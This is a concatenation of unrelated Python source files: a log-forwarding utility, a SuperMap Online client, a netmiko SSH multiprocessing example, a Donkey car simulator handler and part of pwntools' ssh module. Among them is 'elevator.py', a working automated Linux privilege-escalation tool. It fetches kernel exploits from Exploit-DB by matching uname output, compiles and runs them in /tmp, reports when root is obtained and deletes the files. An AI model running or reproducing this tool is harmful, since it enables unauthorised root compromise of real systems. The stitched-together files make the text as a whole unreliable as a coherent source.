except NameError:
return False
class StdoutRenderer:
def __init__(self):
super().__init__()
def emit(self, path, line):
source = '{procname}/#{pid}'.format(**paths.parse(path))
print(f'{source}: {line}')
def close(self):
pass
class IPythonRenderer:
def __init__(self, compositor=None):
super().__init__()
self._out = (compositor or widgets.Compositor()).output()
self._next = time.time()
self._lasts = {}
self._buffers = defaultdict(lambda: deque(['']*self._out.lines, maxlen=self._out.lines))
def _format_block(self, name):
n_lines = max(self._out.lines//(len(self._buffers) + 2), 1)
lines = '\n'.join(list(self._buffers[name])[-n_lines:])
return f'{name}:\n{lines}'
def _display(self, force=False):
content = '\n\n'.join([self._format_block(n) for n in self._buffers])
self._out.refresh(content)
for name, last in list(self._lasts.items()):
if time.time() - last > 120:
del self._buffers[name]
del self._lasts[name]
def emit(self, path, line):
source = '{procname}/#{pid}'.format(**paths.parse(path))
self._buffers[source].append(line)
self._lasts[source] = time.time()
self._display()
def close(self):
self._display(force=True)
# Want to leave the outputs open so you can see the final messages
# self._out.close()
super().close()
@contextmanager
def handlers(*new_handlers):
logger = logging.getLogger()
old_handlers = [*logger.handlers]
try:
logger.handlers = new_handlers
yield
finally:
for h in new_handlers:
try:
h.acquire()
h.flush()
h.close()
except (OSError, ValueError):
pass
finally:
h.release()
logger.handlers = old_handlers
@maybeasynccontextmanager
def to_dir(run_name):
path = paths.path(run_name, 'logs').with_suffix('.txt')
handler = logging.FileHandler(path)
handler.setLevel(logging.INFO)
handler.setFormatter(logging.Formatter(
fmt='%(asctime)s %(levelname)s %(name)s: %(message)s',
datefmt=r'%H:%M:%S'))
with handlers(handler):
try:
yield
except:
log.info(f'Trace:\n{traceback.format_exc()}')
raise
class Reader:
def __init__(self, run_name):
self._dir = paths.subdirectory(run_name, 'logs')
self._files = {}
def read(self):
for path in self._dir.glob('*.txt'):
if path not in self._files:
self._files[path] = path.open('r')
for path, f in self._files.items():
for line in f.readlines():
yield path, line.rstrip('\n')
def __from_dir(canceller, renderer, reader):
while True:
for path, line in reader.read():
renderer.emit(path, line)
if canceller.is_set():
break
time.sleep(.01)
def _from_dir(canceller, renderer, reader):
try:
__from_dir(canceller, renderer, reader)
except KeyboardInterrupt:
log.info('Interrupting main')
_thread.interrupt_main()
__from_dir(canceller, renderer, reader)
@contextmanager
def from_dir(run_name, compositor=None):
if in_ipython():
renderer = IPythonRenderer(compositor)
else:
renderer = StdoutRenderer()
with to_dir(run_name):
try:
reader = Reader(run_name)
canceller = threading.Event()
thread = threading.Thread(target=_from_dir, args=(canceller, renderer, reader))
thread.start()
yield
finally:
log.info('Cancelling log forwarding thread')
time.sleep(.25)
canceller.set()
thread.join(1)
if thread.is_alive():
log.error('Logging thread won\'t die')
else:
log.info('Log forwarding thread cancelled')
@contextmanager
def via_dir(run_name, compositor=None):
with to_dir(run_name), from_dir(run_name, compositor):
yield
### TESTS
def test_in_process():
paths.clear('test', 'logs')
with from_dir('test'):
for _ in range(10):
log.info('hello')
time.sleep(.1)
def _test_multiprocess(run_name):
with to_file(run_name):
for i in range(10):
log.info(str(i))
time.sleep(.5)
def test_multiprocess():
paths.clear('test', 'logs')
import multiprocessing as mp
with from_dir('test'):
ps = []
for _ in range(3):
p = mp.Process(target=_test_multiprocess, args=('test',))
p.start()
ps.append(p)
while any(p.is_alive() for p in ps):
time.sleep(.5)
def _test_error(run_name):
with to_file(run_name):
log.info('Alive')
time.sleep(2)
raise ValueError('Last gasp')
def test_error():
paths.clear('test', 'logs')
import multiprocessing as mp
with from_dir('test'):
ps = []
for _ in range(1):
p = mp.Process(target=_test_error, args=('test',))
p.start()
ps.append(p)
while any(p.is_alive() for p in ps):
time.sleep(.5)
|
elevator.py | #!/usr/bin/python
import csv
import threading
import urllib
import os
import time
import sys
VERSION = '0.1'
DB = "files.csv"
END = False
def process_exploit(exploit, url_opener):
filename = exploit['file'][exploit['file'].rindex('/') + 1:]
files_to_delete = [filename]
try:
global END
exploit_url = "https://raw.githubusercontent.com/offensive-security/exploit-database/master/" + exploit['file']
url_opener.retrieve(exploit_url, filename)
if END:
return
print 'Running exploit [%s] [%s]' % (filename, exploit['description'])
if filename.endswith('.c'):
compile_cmd = 'gcc %s -o %s -lpthread -pthread -lcrypt -lssl -ldl; ' % (filename, filename[:-2])
run_command(compile_cmd)
if os.path.exists(filename[:-2]):
files_to_delete.append(filename[:-2])
run_exploit(compile_cmd, exploit_url, filename, "./%s" % filename[:-2])
elif filename.endswith('.py'):
run_exploit('', exploit_url, filename, "python %s" % filename)
elif filename.endswith('.pl'):
run_exploit('', exploit_url, filename, "perl %s" % filename)
elif filename.endswith('.php'):
run_exploit('', exploit_url, filename, "php %s" % filename)
elif filename.endswith('.sh'):
run_exploit('', exploit_url, filename, "sh %s" % filename)
except Exception:
pass
for file in files_to_delete:
os.popen3('rm %s' % file, 'r')
def run_exploit(compile_cmd, exploit_url, filename, exploit_cmd):
global END
i, o, e = os.popen3(exploit_cmd, 'r')
i.write('id\n')
i.close()
read = o.read()
if 'uid=0(root) gid=0(root)' in read:
print '\nGot root!!\nID: [%s], PoC:\nwget %s --no-check-certificate; %s%s;\n%s' % (filename[:-2], exploit_url, compile_cmd, exploit_cmd, read)
END = True
sys.exit()
o.close()
def run_command(compile_cmd):
i, o, e = os.popen3(compile_cmd, 'r')
i.close()
out = o.read()
o.close()
e.close()
return out
def find_keywords(uname_out):
tokens = uname_out.split(' ')
return {'os': tokens[0].lower(), 'version': (tokens[2][:tokens[2].index('.', 2)])}
def run_escalator(ur_lopener=urllib.URLopener()):
global END
END = False
print '\n#### Linux elevator v%s ####\n' % VERSION
os.chdir('/tmp')
if not os.path.exists(DB):
print 'missing DB file, downloading...'
ur_lopener.retrieve("https://raw.githubusercontent.com/offensive-security/exploit-database/master/files.csv", DB)
reader = csv.DictReader(open(DB, 'r').readlines(), ['id', 'file', 'description', 'date', 'author', 'platform', 'type', 'port'])
kernel = find_keywords(os.popen('uname -a', 'r').read())
print 'Finding exploits for %s kernel %s\n' % (kernel['os'], kernel['version'])
for row in reader:
if END:
os._exit(0)
if (row['platform'].lower() == kernel['os'] or row['platform'].lower() == 'lin_x86') and row['type'] == 'local' and kernel['version'] in row['description'].lower():
threading.Thread(target=process_exploit, args=[row, ur_lopener]).start()
time.sleep(0.8)
if __name__ == "__main__":
run_escalator()
|
online.py | import types
from typing import List, Callable
from enum import Enum
from io import IOBase, StringIO
from pandas import DataFrame
from iclientpy.rest.apifactory import OnlineAPIFactory
from iclientpy.rest.api.model import DataItemType, PostMyDatasItem, Layer, LayerType, SourceType, PostMapsItem, Point2D, \
Rectangle2D, PrjCoordSys, Status, OnlineMapShareSetting, OnlineDataShareSetting, MapShareSetting, PermissionType, \
EntityType, IportalDataAuthorizeEntity, DataPermissionType
from iclientpy.typeassert import typeassert
from IPython.display import display
class OnlineBaseLayerType(Enum):
DEFAULT = 'DEFAULT'
TIANDITU = 'TIANDITU'
CHINADARK = 'CHINADARK'
CHINALIGHT = 'CHINALIGHT'
CHINABLUEDRAK = 'CHINABLUEDRAK'
GOOGLE = 'GOOGLE'
GAODE = 'GAODE'
BING = 'BING'
OPENSTREET = 'OPENSTREET'
TIANDITUIMAGE = 'TIANDITUIMAGE'
TIANDITUTERRAIN = 'TIANDITUTERRAIN'
BAIDU = 'BAIDU'
def _online_notebook_login(username, passwd):
import requests
import json
from ipywidgets import HTML, Layout
if username is not None and passwd is not None:
SSO_URL = 'https://sso.supermap.com/login'
params = {'format': 'json'}
params.update({'service': 'https://www.supermapol.com/shiro-cas'})
session = requests.session()
lt_res = session.get(SSO_URL, params=params, allow_redirects=False)
params.update(json.loads(lt_res.content))
params.update({"username": username, "password": passwd})
ticket_res = session.post(SSO_URL, params=params, allow_redirects=False)
if ticket_res.status_code != 302:
raise Exception("登录失败,请确保用户名和密码输入正确")
url = ticket_res.headers["location"]
layout = Layout()
layout.visibility = 'hidden'
layout.width = '0px'
layout.height = '0px'
return HTML(value='<iframe src="' + url + '">', layout=layout)
class Online:
def __init__(self, username: str = None, password: str = None):
self._online = OnlineAPIFactory('https://www.supermapol.com', username, password)
display(_online_notebook_login(username, password))
@typeassert
def search_map(self, owners: List[str] = None, tags: List[str] = None, keywords: List[str] = None):
"""
查找地图
Args:
owners: 地图所有者
tags: 地图标签
keywords: 关键字
Returns:
简略的地图信息列表
"""
ms = self._online.maps_service()
contents = ms.get_maps(userNames=owners, tags=tags, keywords=keywords).content
_url = self._online._base_url + "/../apps/viewer/"
for content in contents:
def _repr_html_(self, **kwargs):
return "<iframe src='" + _url + str(self.id) + "' style='width: 100%; height: 600px;'/>"
content._repr_html_ = types.MethodType(_repr_html_, content)
return contents
@typeassert
def get_map(self, map_id: str):
"""
获取指定id的地图的详细信息
Args:
map_id: 地图的id
Returns:
地图信息
"""
ms = self._online.maps_service()
content = ms.get_map(map_id)
_url = self._online._base_url + "/../apps/viewer/"
def _repr_html_(self, **kwargs):
return "<a href='{url}' target='_blank'>到SuperMap Online查看</a><iframe src='{url}' style='width: 100%; height: 600px;'/>".format(url = _url + str(self.id))
content._repr_html_ = types.MethodType(_repr_html_, content)
return content
def _monitor_upload_progress(self, data_id: str, callback: Callable = None):
item = self.get_data(data_id)
while (item.status != Status.OK):
read, total = self.get_data_upload_progress(data_id)
item = self.get_data(data_id)
if (item.status == Status.OK and read == -1 and total == -1):
total = 100
read = 100
callback(read, total)
@typeassert
def upload_data(self, data_name: str, data_content: IOBase, type: DataItemType, callback: Callable = None):
"""
上传数据
Args:
data_name: 数据名称
data_content: 数据流
type: 数据类型
callback: 上传进度回调方法
Returns:
数据的id
"""
ds = self._online.datas_service()
entity = PostMyDatasItem()
entity.type = type
entity.fileName = data_name
data_id = ds.post_datas(entity).childID
if not callback is None:
import threading
threading.Thread(target=self._monitor_upload_progress, args=(data_id, callback)).start()
ds.upload_data(data_id, data_content)
return data_id
@typeassert
def upload_dataframe_as_json(self, data_name: str, df: DataFrame, callback: Callable = None):
"""
上传DataFrame为JSON类型数据
Args:
data_name: 上传后数据名称
df: DataFrame数据
"""
with StringIO(df.to_json()) as dff:
return self.upload_data(data_name, dff, DataItemType.JSON, callback)
@typeassert
def search_data(self, owners: List[str] = None, tags: List[str] = None, keywords: List[str] = None):
"""
查找数据
Args:
owners: 数据所有者
tags: 数据标签
keywords: 数据关键字
Returns:
数据信息的列表
"""
ds = self._online.datas_service()
return ds.get_datas(userNames=owners, tags=tags, keywords=keywords).content
@typeassert
def get_data(self, data_id: str):
"""
获取数据详细信息
Args:
data_id: 数据的id
Returns:
数据的信息
"""
return self._online.datas_service().get_data(data_id)
@typeassert
def get_data_upload_progress(self, data_id: str):
"""
获取数据上传进度
Args:
data_id: 数据的id
Returns:
"""
process = self._online.datas_service().get_upload_process(data_id)
return process.read, process.total
def __prepare_base_layer(self, type: OnlineBaseLayerType):
base_layers = []
if type in (OnlineBaseLayerType.DEFAULT, OnlineBaseLayerType.TIANDITU):
base_layer = Layer()
base_layer.url = 'http://t1.tianditu.cn'
base_layer.title = '天地图'
base_layer.zindex = 0
base_layer.layerType = LayerType.BASE_LAYER
base_layer.name = '天地图'
base_layer.isVisible = True
base_layer.type = SourceType.TIANDITU_VEC
base_layer_text = Layer()
base_layer_text.url = 'http://t1.tianditu.cn'
base_layer_text.title = '天地图-标签'
base_layer_text.zindex = 1
base_layer_text.layerType = LayerType.OVERLAY_LAYER
base_layer_text.name = '天地图-标签'
base_layer_text.isVisible = True
base_layer_text.type = SourceType.TIANDITU_VEC
base_layers = base_layers + [base_layer, base_layer_text]
elif type is OnlineBaseLayerType.CHINADARK:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.prjCoordSys = PrjCoordSys()
base_layer.prjCoordSys.epsgCode = 3857
base_layer.type = SourceType.SUPERMAP_REST
base_layer.title = 'China_Dark'
base_layer.url = 'https://www.supermapol.com/proxy/iserver/services/map_China/rest/maps/China_Dark'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.CHINALIGHT:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.prjCoordSys = PrjCoordSys()
base_layer.prjCoordSys.epsgCode = 3857
base_layer.type = SourceType.SUPERMAP_REST
base_layer.title = 'China_Light'
base_layer.url = 'https://www.supermapol.com/iserver/services/map_China/rest/maps/China_Light'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.CHINABLUEDRAK:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.prjCoordSys = PrjCoordSys()
base_layer.prjCoordSys.epsgCode = 3857
base_layer.type = SourceType.CLOUD
base_layer.identifier = 'blue-black'
base_layer.title = '中国_蓝黑'
base_layer.name = 'cloud_layername'
base_layer.url = 'http://t3.supermapcloud.com/MapService/getGdp?&x=${x}&y=${y}&z=${z}'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.GOOGLE:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.GOOGLE
base_layer.title = '谷歌地图'
base_layer.name = 'google_layername'
base_layer.identifier = 'china'
base_layer.url = 'http://mt3.google.cn/vt/lyrs=m&hl=zh-CN&gl=cn&x=${x}&y=${y}&z=${z}&scale=${z}'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.GAODE:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.CLOUD
base_layer.title = '高德地图'
base_layer.name = 'cloud_layername'
base_layer.url = 'http://t2.supermapcloud.com/FileService/image'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.BING:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.BING
base_layer.title = '必应地图'
base_layer.name = 'bing_layername'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.OPENSTREET:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.OSM
base_layer.title = 'OpenStreet'
base_layer.name = 'osm_layername'
base_layers = base_layers + [base_layer]
elif type is OnlineBaseLayerType.TIANDITUIMAGE:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.TIANDITU_IMG
base_layer.title = '天地图影像'
base_layer.name = 'tianditu_layername'
base_layer.url = 'http://t1.tianditu.cn'
base_layer_text = Layer()
base_layer_text.url = 'http://t1.tianditu.cn'
base_layer_text.title = '天地图影像_路网'
base_layer_text.name = 'tianditu_text_name'
base_layer_text.zindex = 1
base_layer_text.layerType = LayerType.OVERLAY_LAYER
base_layer_text.name = '天地图影像_路网'
base_layer_text.isVisible = True
base_layer_text.type = SourceType.TIANDITU_VEC
base_layers = base_layers + [base_layer, base_layer_text]
elif type is OnlineBaseLayerType.TIANDITUTERRAIN:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.TIANDITU_TER
base_layer.title = '天地图地形'
base_layer.name = 'tianditu_layername'
base_layer.url = 'http://t1.tianditu.cn'
base_layer_text = Layer()
base_layer_text.url = 'http://t1.tianditu.cn'
base_layer_text.title = '天地图地形_路网'
base_layer_text.name = 'tianditu_text_name'
base_layer_text.zindex = 1
base_layer_text.layerType = LayerType.OVERLAY_LAYER
base_layer_text.name = '天地图地形_路网'
base_layer_text.isVisible = True
base_layer_text.type = SourceType.TIANDITU_VEC
base_layers = base_layers + [base_layer, base_layer_text]
elif type is OnlineBaseLayerType.BAIDU:
base_layer = Layer()
base_layer.layerType = LayerType.BASE_LAYER
base_layer.isVisible = True
base_layer.type = SourceType.BAIDU
base_layer.title = '百度地图'
base_layer.name = '百度图层'
base_layer.url = 'http://online1.map.bdimg.com'
base_layers = base_layers + [base_layer]
return base_layers
@typeassert
def create_map(self, layers: List[Layer], epsgCode: int, map_title: str, center: tuple = None, extend: tuple = None,
base_layer_type: OnlineBaseLayerType = OnlineBaseLayerType.DEFAULT, tags: List[str] = None):
"""
创建地图
Args:
layers: 地图图层
epsgCode: 投影编码
map_title: 地图名称
center: 地图中心点
extend: 地图缩放范围
base_layer_type: 默认底图类型
tags: 地图标签
Returns:
地图的id
"""
entity = PostMapsItem()
if not center is None:
entity.center = Point2D()
entity.center.x = center[0]
entity.center.y = center[1]
if not extend is None:
entity.extent = Rectangle2D()
entity.extent.leftBottom = Point2D()
entity.extent.leftBottom.x = extend[0]
entity.extent.leftBottom.y = extend[1]
entity.extent.rightTop = Point2D()
entity.extent.rightTop.x = extend[2]
entity.extent.rightTop.y = extend[3]
entity.epsgCode = epsgCode
entity.title = map_title
entity.layers = self.__prepare_base_layer(base_layer_type) + layers
entity.tags = tags
return self._online.maps_service().post_maps(entity).newResourceID
@typeassert
def delete_map(self, map_id: str):
"""
删除一个地图
Args:
map_id:地图id
"""
self._online.maps_service().delete_maps([map_id])
@typeassert
def delete_maps(self, map_ids: List[str]):
"""
删除多个地图
Args:
map_ids: 地图的id列表
"""
self._online.maps_service().delete_maps(map_ids)
@typeassert
def delete_data(self, data_id: str):
"""
删除一个数据
Args:
data_id: 数据的id
"""
self._online.datas_service().delete_data(data_id)
@typeassert
def delete_datas(self, data_ids: List[str]):
"""
批量删除多个数据
Args:
data_ids: 数据的id列表
"""
for data_id in data_ids:
self.delete_data(data_id)
@typeassert
def prepare_geojson_layer(self, data_id: str, layer_name: str):
"""
根据上传到Online的geojson数据,生成Layer
Args:
data_id: 数据在Online中的id
layer_name: 图层名称
Returns:
Layer信息
"""
layer = Layer()
layer.prjCoordSys = PrjCoordSys()
layer.prjCoordSys.epsgCode = 4326
layer.name = layer_name
layer.layerType = LayerType.FEATURE_LAYER
layer.isVisible = True
layer.title = layer_name
layer.identifier = 'THEME'
layer.datasourceName = 'true'
layer.cartoCSS = '{"isAddFile":true,"needTransform":"needTransform"}'
layer.url = self._online._base_url + '/datas/' + str(data_id) + '/content.json'
layer.themeSettings = '{"filter" : "", "vectorType": "REGION", "type" : "VECTOR"}'
return layer
@typeassert
def share_data(self, data_id: str, is_public: bool):
"""
共享数据
Args:
data_id: 数据id
is_public: 是否公开
"""
setting = OnlineDataShareSetting()
setting.ids = [data_id]
if is_public:
entity = IportalDataAuthorizeEntity()
entity.dataPermissionType = DataPermissionType.DOWNLOAD
entity.entityType = EntityType.USER
entity.entityName = 'GUEST'
entity.aliasName = 'GUEST'
setting.entities = [entity]
else:
setting.entities = []
self._online.datas_service().put_sharesetting(entity=setting)
@typeassert
def share_map(self, map_id: str, is_public: bool):
"""
共享地图
Args:
map_id: 地图id
is_public: 是否公开
"""
setting = OnlineMapShareSetting()
setting.ids = [map_id]
if is_public:
entity = MapShareSetting()
entity.permissionType = PermissionType.READ
entity.entityType = EntityType.USER
entity.entityName = 'GUEST'
entity.aliasName = 'GUEST'
setting.entities = [entity]
else:
setting.entities = []
self._online.maps_service().put_map_sharesetting(entity=setting)
|
paramiko_mulitprocess.py | '''
Requires paramiko >=1.8.0 (paramiko had an issue with multiprocessing prior
to this)
Example code showing how to use netmiko for multiprocessing. Create a
separate process for each ssh connection. Each subprocess executes a
'show version' command on the remote device. Use a multiprocessing.queue to
pass data from subprocess to parent process.
Only supports Python2
'''
# Catch Paramiko warnings about libgmp and RandomPool
import warnings
with warnings.catch_warnings(record=True) as w:
import paramiko
import multiprocessing
from datetime import datetime
import netmiko
from netmiko.ssh_exception import NetMikoTimeoutException, NetMikoAuthenticationException
# DEVICE_CREDS contains the devices to connect to
from DEVICE_CREDS import all_devices
def print_output(results):
print "\nSuccessful devices:"
for a_dict in results:
for identifier,v in a_dict.iteritems():
(success, out_string) = v
if success:
print '\n\n'
print '#' * 80
print 'Device = {0}\n'.format(identifier)
print out_string
print '#' * 80
print "\n\nFailed devices:\n"
for a_dict in results:
for identifier,v in a_dict.iteritems():
(success, out_string) = v
if not success:
print 'Device failed = {0}'.format(identifier)
print "\nEnd time: " + str(datetime.now())
print
def worker_show_version(a_device, mp_queue):
'''
Return a dictionary where the key is the device identifier
Value is (success|fail(boolean), return_string)
'''
try:
a_device['port']
except KeyError:
a_device['port'] = 22
identifier = '{ip}:{port}'.format(**a_device)
return_data = {}
show_ver_command = 'show version'
SSHClass = netmiko.ssh_dispatcher(a_device['device_type'])
try:
net_connect = SSHClass(**a_device)
show_version = net_connect.send_command(show_ver_command)
except (NetMikoTimeoutException, NetMikoAuthenticationException) as e:
return_data[identifier] = (False, e)
# Add data to the queue (for parent process)
mp_queue.put(return_data)
return None
return_data[identifier] = (True, show_version)
mp_queue.put(return_data)
def main():
mp_queue = multiprocessing.Queue()
processes = []
print "\nStart time: " + str(datetime.now())
for a_device in all_devices:
p = multiprocessing.Process(target=worker_show_version, args=(a_device, mp_queue))
processes.append(p)
# start the work process
p.start()
# wait until the child processes have completed
for p in processes:
p.join()
# retrieve all the data from the queue
results = []
for p in processes:
results.append(mp_queue.get())
print_output(results)
if __name__ == '__main__':
main() |
donkey_sim.py | # Original author: Tawn Kramer
import asyncore
import base64
import math
import time
from io import BytesIO
from threading import Thread
import numpy as np
from PIL import Image
from modules.config import INPUT_DIM, ROI, THROTTLE_REWARD_WEIGHT, MAX_THROTTLE, MIN_THROTTLE, \
REWARD_CRASH, CRASH_SPEED_WEIGHT
from modules.gym_vae_donkey.core.fps import FPSTimer
from modules.gym_vae_donkey.core.tcp_server import IMesgHandler, SimServer
class DonkeyUnitySimContoller:
"""
Wrapper for communicating with unity simulation.
:param level: (int) Level index
:param port: (int) Port to use for communicating with the simulator
:param max_cte_error: (float) Max cross track error before reset
"""
def __init__(self, level, port=9090, max_cte_error=3.0):
self.level = level
self.verbose = False
# sensor size - height, width, depth
self.camera_img_size = INPUT_DIM
self.address = ('0.0.0.0', port)
# Socket message handler
self.handler = DonkeyUnitySimHandler(level, max_cte_error=max_cte_error)
# Create the server to which the unity sim will connect
self.server = SimServer(self.address, self.handler)
# Start the Asynchronous socket handler thread
self.thread = Thread(target=asyncore.loop)
self.thread.daemon = True
self.thread.start()
def close_connection(self):
return self.server.handle_close()
def wait_until_loaded(self):
"""
Wait for a client (Unity simulator).
"""
while not self.handler.loaded:
print("Waiting for sim to start..."
"if the simulation is running, press EXIT to go back to the menu")
time.sleep(3.0)
def reset(self):
self.handler.reset()
def get_sensor_size(self):
"""
:return: (int, int, int)
"""
return self.handler.get_sensor_size()
def take_action(self, action):
self.handler.take_action(action)
def observe(self):
"""
:return: (np.ndarray)
"""
return self.handler.observe()
def quit(self):
pass
def render(self, mode):
pass
def is_game_over(self):
return self.handler.is_game_over()
def calc_reward(self, done):
return self.handler.calc_reward(done)
class DonkeyUnitySimHandler(IMesgHandler):
"""
Socket message handler.
:param level: (int) Level ID
:param max_cte_error: (float) Max cross track error before reset
"""
def __init__(self, level, max_cte_error=3.0):
self.level_idx = level
self.sock = None
self.loaded = False
self.verbose = False
self.timer = FPSTimer(verbose=0)
self.max_cte_error = max_cte_error
# sensor size - height, width, depth
self.camera_img_size = INPUT_DIM
self.image_array = np.zeros(self.camera_img_size)
self.original_image = None
self.last_obs = None
self.last_throttle = 0.0
# Disabled: hit was used to end episode when bumping into an object
self.hit = "none"
# Cross track error
self.cte = 0.0
self.x = 0.0
self.y = 0.0
self.z = 0.0
self.steering_angle = 0.0
self.current_step = 0
self.speed = 0
self.steering = None
self.driving_score = 0
# Define which method should be called
# for each type of message
self.fns = {'telemetry': self.on_telemetry,
"scene_selection_ready": self.on_scene_selection_ready,
"scene_names": self.on_recv_scene_names,
"car_loaded": self.on_car_loaded}
def on_connect(self, socket_handler):
"""
:param socket_handler: (socket object)
"""
self.sock = socket_handler
def on_disconnect(self):
"""
Close socket.
"""
self.sock.close()
self.sock = None
def on_recv_message(self, message):
"""
Distribute the received message to the appropriate function.
:param message: (dict)
"""
if 'msg_type' not in message:
print('Expected msg_type field')
return
msg_type = message['msg_type']
if msg_type in self.fns:
self.fns[msg_type](message)
else:
print('Unknown message type', msg_type)
def reset(self):
"""
Global reset, notably it
resets car to initial position.
"""
if self.verbose:
print("resetting")
self.image_array = np.zeros(self.camera_img_size)
self.last_obs = None
self.hit = "none"
self.cte = 0.0
self.x = 0.0
self.y = 0.0
self.z = 0.0
self.current_step = 0
self.send_reset_car()
self.send_control(0, 0)
self.driving_score = 0
time.sleep(1.0)
self.timer.reset()
def get_sensor_size(self):
"""
:return: (tuple)
"""
return self.camera_img_size
def take_action(self, action):
"""
:param action: ([float]) Steering and throttle
"""
if self.verbose:
print("take_action")
throttle = action[1]
self.steering = action[0]
self.last_throttle = throttle
self.current_step += 1
self.send_control(self.steering, throttle)
def observe(self):
while self.last_obs is self.image_array:
time.sleep(1.0 / 120.0)
self.last_obs = self.image_array
observation = self.image_array
done = self.is_game_over()
reward = self.calc_reward(done)
info = {}
self.timer.on_frame()
return observation, reward, done, info
def is_game_over(self):
"""
:return: (bool)
"""
return self.hit != "none" or math.fabs(self.cte) > self.max_cte_error
def calc_reward(self, done):
"""
Compute reward:
- +1 life bonus for each step + throttle bonus
- -10 crash penalty - penalty for large throttle during a crash
:param done: (bool)
:return: (float)
"""
if done:
# penalize the agent for getting off the road fast
norm_throttle = (self.last_throttle - MIN_THROTTLE) / (MAX_THROTTLE - MIN_THROTTLE)
return REWARD_CRASH - CRASH_SPEED_WEIGHT * norm_throttle
# 1 per timesteps + throttle
throttle_reward = THROTTLE_REWARD_WEIGHT * (self.last_throttle / MAX_THROTTLE)
return 1 + throttle_reward
# ------ Socket interface ----------- #
def on_telemetry(self, data):
"""
Update car info when receiving telemetry message.
:param data: (dict)
"""
img_string = data["image"]
image = Image.open(BytesIO(base64.b64decode(img_string)))
# Resize and crop image
image = np.array(image)
# Save original image for render
self.original_image = np.copy(image)
# Resize if using higher resolution images
# image = cv2.resize(image, CAMERA_RESOLUTION)
# Region of interest
r = ROI
image = image[int(r[1]):int(r[1] + r[3]), int(r[0]):int(r[0] + r[2])]
# Convert RGB to BGR
image = image[:, :, ::-1]
self.image_array = image
# Here resize is not useful for now (the image have already the right dimension)
# self.image_array = cv2.resize(image, (IMAGE_WIDTH, IMAGE_HEIGHT))
# name of object we just hit. "none" if nothing.
# NOTE: obstacle detection disabled
# if self.hit == "none":
# self.hit = data["hit"]
self.x = data["pos_x"]
self.y = data["pos_y"]
self.z = data["pos_z"]
self.steering_angle = data['steering_angle']
self.speed = data["speed"]
self.driving_score = data["path_score"]
# Cross track error not always present.
# Will be missing if path is not setup in the given scene.
# It should be setup in the 3 scenes available now.
try:
self.cte = data["cte"]
# print(self.cte)
except KeyError:
print("No Cross Track Error in telemetry")
pass
def on_scene_selection_ready(self, _data):
"""
Get the level names when the scene selection screen is ready
"""
print("Scene Selection Ready")
self.send_get_scene_names()
def on_car_loaded(self, _data):
if self.verbose:
print("Car Loaded")
self.loaded = True
def on_recv_scene_names(self, data):
"""
Select the level.
:param data: (dict)
"""
if data is not None:
names = data['scene_names']
if self.verbose:
print("SceneNames:", names)
self.send_load_scene(names[self.level_idx])
def send_control(self, steer, throttle):
"""
Send message to the server for controlling the car.
:param steer: (float)
:param throttle: (float)
"""
if not self.loaded:
return
msg = {'msg_type': 'control', 'steering': steer.__str__(), 'throttle': throttle.__str__(), 'brake': '0.0'}
self.queue_message(msg)
def send_reset_car(self):
"""
Reset car to initial position.
"""
msg = {'msg_type': 'reset_car'}
self.queue_message(msg)
def send_get_scene_names(self):
"""
Get the different levels availables
"""
msg = {'msg_type': 'get_scene_names'}
self.queue_message(msg)
def send_load_scene(self, scene_name):
"""
Load a level.
:param scene_name: (str)
"""
msg = {'msg_type': 'load_scene', 'scene_name': scene_name}
self.queue_message(msg)
def send_exit_scene(self):
"""
Go back to scene selection.
"""
msg = {'msg_type': 'exit_scene'}
self.queue_message(msg)
def queue_message(self, msg):
"""
Add message to socket queue.
:param msg: (dict)
"""
if self.sock is None:
if self.verbose:
print('skipping:', msg)
return
if self.verbose:
print('sending', msg)
self.sock.queue_message(msg)
|
ssh.py | from __future__ import absolute_import
import inspect
import logging
import os
import re
import shutil
import string
import sys
import tarfile
import tempfile
import threading
import time
import types
from pwnlib import term
from pwnlib.context import context
from pwnlib.log import Logger
from pwnlib.log import getLogger
from pwnlib.term import text
from pwnlib.timeout import Timeout
from pwnlib.tubes.process import process
from pwnlib.tubes.sock import sock
from pwnlib.util import hashes
from pwnlib.util import misc
from pwnlib.util import safeeval
from pwnlib.util.sh_string import sh_string
# Kill the warning line:
# No handlers could be found for logger "paramiko.transport"
paramiko_log = logging.getLogger("paramiko.transport")
h = logging.StreamHandler(file('/dev/null','w+'))
h.setFormatter(logging.Formatter())
paramiko_log.addHandler(h)
class ssh_channel(sock):
#: Parent :class:`ssh` object
parent = None
#: Remote host
host = None
#: Return code, or :const:`None` if the process has not returned
#: Use :meth:`poll` to check.
returncode = None
#: :const:`True` if a tty was allocated for this channel
tty = False
#: Environment specified for the remote process, or :const:`None`
#: if the default environment was used
env = None
#: Command specified for the constructor
process = None
def __init__(self, parent, process = None, tty = False, wd = None, env = None, raw = True, *args, **kwargs):
super(ssh_channel, self).__init__(*args, **kwargs)
# keep the parent from being garbage collected in some cases
self.parent = parent
self.returncode = None
self.host = parent.host
self.tty = tty
self.env = env
self.process = process
self.cwd = wd or '.'
env = env or {}
msg = 'Opening new channel: %r' % (process or 'shell')
if isinstance(process, (list, tuple)):
process = ' '.join(sh_string(s) for s in process)
if process and wd:
process = 'cd %s >/dev/null 2>&1;%s' % (sh_string(wd), process)
if process and env:
for name, value in env.items():
if not re.match('^[a-zA-Z_][a-zA-Z0-9_]*$', name):
self.error('run(): Invalid environment key $r' % name)
